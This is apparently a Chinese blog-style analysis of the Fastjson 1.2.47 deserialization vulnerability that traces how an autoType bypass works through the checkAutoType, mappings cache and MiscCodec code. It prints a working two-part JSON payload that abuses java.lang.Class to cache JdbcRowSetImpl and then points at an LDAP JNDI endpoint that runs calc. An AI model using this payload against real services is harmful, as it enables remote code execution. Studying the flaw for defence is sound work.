前言payload反序列化过程 mappings 和 buckets 缓存到mappings中 解析第二段json中的恶意类参考链接
在前面学习的Fastjson反序列化漏洞中,会受限于AutoTypeSupport
的黑白名单安全机制,需要设置AutoTypeSupport
为true才能利用漏洞。
而Fastjson 1.2.47版本漏洞在原理上就不相同,它在AutoTypeSupport
功能未开启时也能利用漏洞。
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"autoCommit\":true}}";
Object obj = JSON.parse(payload);
System.out.println(obj);
payload中有两个需要解析的json串:
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":true}
第二个json串比较熟悉,但其在高版本fastjson中过不了autotype的校验。
第一个json串中需要反序列化的类是java.lang.Class
,同时给val
这个属性赋值为恶意类JdbcRowSetImpl
调试解析第一个json字符串,看看其中的处理过程。
首先在DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
解析到a
这个key;
随后继续解析a
对应的值:{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
解析到key为@type
,对应的typeName
是java.lang.Class
,在反序列化这个类之前先进行checkAutoType
,来到ParserConfig#checkAutoType()
checkAutoType()
中,会从两个缓存中读取对应的clazz:
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
进入到TypeUtils.getClassFromMapping(typeName)
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
很粗暴,就是直接从mappings
匹配并返回,mappings中存储的是一些基础的Class,猜测其功能是便于在反序列化处理这些基础类时提高效率。
java.lang.Class
并不在mappings
中,继续进入deserializers.findClass(typeName);
deserializers
属性是IdentityHashMap
类对象,findClass
方法定义如下:
public Class findClass(String keyString) {
for (int i = 0; i < buckets.length; i++) {
Entry bucket = buckets[i];
if (bucket == null) {
continue;
}
for (Entry<K, V> entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = ((Class) key);
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
}
}
}
}
return null;
}
遍历buckets
集合,匹配到对应的clazz并返回。
buckets
集合中包含的类元素如下:
看下它初始化过程,存入的类都有哪些。buckets
是IdentityHashMap
类的属性,IdentityHashMap
类对象是ParserConfig
类的一个属性,命名为deserializers
,其初始化过程如下:
根据相关资料得知,buckets是一个用于并发的IdentityHashMap,其也加快了反序列化过程。
在deserializers.findClass(typeName)
中匹配到了java.lang.Class
并返回。
总结一下这两个集合的作用:
Mapping集合是用来存储基础的Class,如果@type字段传入的字符串如果对应了基础Class,程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。而buckets集合则是用于并发操作。
如此,在如下条件:
if (autoTypeSupport || expectClass != null) {
在未开启autotype情况下,并且expectClass
为空,用户传入的@type
字段值在这两个集合中任意一个,checkAutoType就会将其对应的Class返回。
在获取到java.lang.Class
这个clazz后,就会处理这个clazz
deserializer
变量是MiscCodec
类对象,跟进MiscCodec#deserialze()
在MiscCodec#deserialze()
中,会判断这个json字符串中是否有val
这个键
并解析val
这个键对应的值(payload中值为com.sun.rowset.JdbcRowSetImpl
),赋值给objVal
变量,随后赋值给strVal
变量。
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
调用TypeUtils.loadClass
load com.sun.rowset.JdbcRowSetImpl
这个class,跟进:
关键代码:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}
这里传入的cache
默认是true
,在加载完com.sun.rowset.JdbcRowSetImpl
这个类后,就会缓存到mappings集合中。
如此,在解析payload中第一段json串时,就把恶意类缓存到mappings
中,在解析第二段json串时,就不会受autotype限制。
继续解析第二段json串:
扫描解析到typeName为com.sun.rowset.JdbcRowSetImpl
,进入checkAutoType判断
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
继续跟进,从mappings中获取:
这下获取到com.sun.rowset.JdbcRowSetImpl
的缓存了,通过了autoType检验并返回,如此,后面就会实例化这个恶意类触发jndi漏洞。